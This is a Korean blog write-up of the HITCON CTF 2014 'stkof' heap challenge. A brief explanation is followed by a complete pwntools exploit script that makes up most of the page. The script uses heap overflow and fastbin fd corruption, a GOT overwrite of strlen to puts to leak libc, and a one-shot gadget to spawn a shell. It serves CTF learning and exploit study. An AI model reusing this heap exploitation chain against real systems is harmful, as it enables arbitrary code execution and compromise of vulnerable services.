본문 바로가기

Conference/Write up

HITCON CTF 2014 - stkof (how2heap)





unsafe_unlink 와 관련된 문제라고 how2heap 에 나와 있었으나

일반적인 fastbin attack 으로 문제를 풀이했다.

다른 풀이를 통해 또 삽을 떠봐야겠지.


이번 문제풀이를 통해 풀이방식이 하나 추가된 것 같은 느낌인데

더블 프리가 안되는 환경..처럼 보인다. 풀이할 때에는 적어도 확인하지 못했음.

다만 워낙 기본적인 힙오버플로우 문제이기 때문에 어렵게 접근하지는 않았고

전역변수가 있는 경우, stdin stdout 위치에 거의 항상 0x7f 가 존재하기 때문에

거진 다 뒤덮을 수 있다.


이번 문제에서는 libc leak 을 할만한 포인트가 없어 보였는데

확실히 별로 쓸모 없어 보이는 메뉴 4번이 있었고 그곳에 strlen 이 뜬금없이 있었다.

got 슥삭해서 출력류의 함수로 바꿔 libc main 을 leak 했음.

fread 로 원하는 곳에 원하는 값을 쓸 수 있었기 때문에 포인터 다 덮어쓰고 매직가젯으로 마무리 했다.


매직가젯은 한 다섯개 정도 나오던데, 이번엔 제일 마지막 가젯이 동작하는 환경이었다.

안되면 이리저리 다른 방법도 찾아 보아야 할 듯하고

pwntool 에서 oneshot gadget 모듈을 지원하면 좋겠는데 이건 차후 삽을 또 떠보도록 해야겠다.




from pwn import *


#context(arch='i386', os='linux')

context(arch='amd64', os='linux')


procname = 'stkof'

#libcname = './libc_32.so.6' # from ldd $(procname)

#libcname = '/lib/i386-linux-gnu/libc.so.6'

libcname = '/lib/x86_64-linux-gnu/libc.so.6'


ip = 'localhost'

port = 4000

# 4000 : qira / 31337 : socat


#r = remote(ip, port)

r = process('./%s'%procname)

#r = binary.process(env={'LD_PRELOAD':libc.path})



#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

#context.terminal = ['tmux', 'splitw', '-h']

#context.terminal = ['tmux', 'splitw', '-v']

context.terminal = ['/dev/pts/2']


#gdb.attach(r,

#        '''

#        b main

#        ''')


p = log.progress('ready to ROP gadget - %s'%procname)

elf = ELF(procname)

rop = ROP(elf)

p.status('ready to ROP gadget - %s'%libcname)

libc = ELF(libcname)

rop2 = ROP(libc)

p.success('ready to ROP gadget - done')


log.info('start exploit, procname %s'%procname)

raw_input('Enter')




#### edit exploit ####


def malloc(size):

    global r

    assert (len(str(size)) <= 16)


    r.sendline('1')

    r.sendline(str(size))


    heapCount = r.recvline()

    log.info('malloc - heapCount : %s'%heapCount)

    log.info(r.recvline())


def editheap(index, data):

    r.sendline('2')

    r.sendline(str(index))

    r.sendline(str(len(data)))

    r.sendline(data)

    log.info(r.recvline())

    return


def free(index):

    r.sendline('3')

    r.sendline(str(index))

    log.info(r.recvline())

    return


malloc(0x60) #0

malloc(0x60) #1

malloc(0x60) #2

malloc(0x60) #3

malloc(0x60) #4


free(4)

free(2)


#ex1 = ""

#ex1 += p64(0) #ps

#ex1 += p64(0x70) #size

#ex1 += p64(0x6020d0+5-8)#"AAAAAAAA"  #fd # value related with libc_start_main

#ex1 += "BBBBBBBB" #bk

#ex1 += "C"*(0x80-len(ex1))

#ex1 += p64(0x80) #prev size

#ex1 += p64(0x70) #size


ex1 = ""

ex1 += "A"*0x60             #contents for heap#3

ex1 += p64(0)               #prev size for heap#4

ex1 += p64(0x71)            #currentsize for heap#4 and inUse

ex1 += p64(0x6020d0+5-8)    #fd. SIZE 0x7f nearby stdin in bss

ex1 += p64(0x0)             #bk


log.info('edit heap')

editheap(3, ex1)            #edit chunk which already freed!


malloc(0x60) # heap5

malloc(0x60) # heap6

malloc(0x60) # heap7


ex2 = ""

ex2 += "AAA"

ex2 += p64(1)

ex2 += p64(2)

ex2 += p64(3)

ex2 += p64(4)

ex2 += p64(2) # heapcount 0x00

ex2 += p64(0) # dummy

ex2 += p64(0) # dummy

ex2 += p64(0) # dummy

ex2 += p64(0) # dummy

ex2 += p64(0) # dummy

ex2 += p64(0) # dummy 

ex2 += p64(0) # dummy

ex2 += p64(0x602030) # buf 0 strlen -> puts

ex2 += p64(0x602050) # buf 1 libc_start_main

ex2 += p64(0x602018) # buf 2 free

ex2 += "/bin/sh\x00" # buf 3 /bin/sh


editheap(8, ex2) # edit last heap -> alloced in bss area


editheap(0, p64(0x400760)) # buf0 overwrite, strlen -> puts


r.sendline('4') # menu 4

r.sendline('1') # buf2 leak libc. strlen->puts

r.recvline() # dummy

r.recvline() # dummy 

r.recvline() # dummy

data = r.recvline()[:-1] # leacked

data = data + "\x00"*(8-len(data))

log.info('leacked libcmain : %x'%u64(data))

libc.address = u64(data)-libc.symbols['__libc_start_main']

log.info('system : %x'%libc.symbols['system'])


#editheap(2, p64(libc.symbols['system'])) # not work

#editheap(0, p64(libc.symbols['system'])) # not work

editheap(0, p64(libc.address + 0xe93e5))  # magic gadget to strlen.got.plt


raw_input('done?')

r.sendline('4')

r.sendline('2') # trigger strlen


r.interactive()



'Conference > Write up' 카테고리의 다른 글

9447 ctf 2015 - search (how2heap)  (0) 2017.07.18
defcon 2017 - occult in crackme  (0) 2017.05.02
defcon 2017 - witchcraft in crackme  (0) 2017.05.02
defcon 2017 - sorcery in crackme  (0) 2017.04.30
defcon 2017 - magic in crackme  (0) 2017.04.30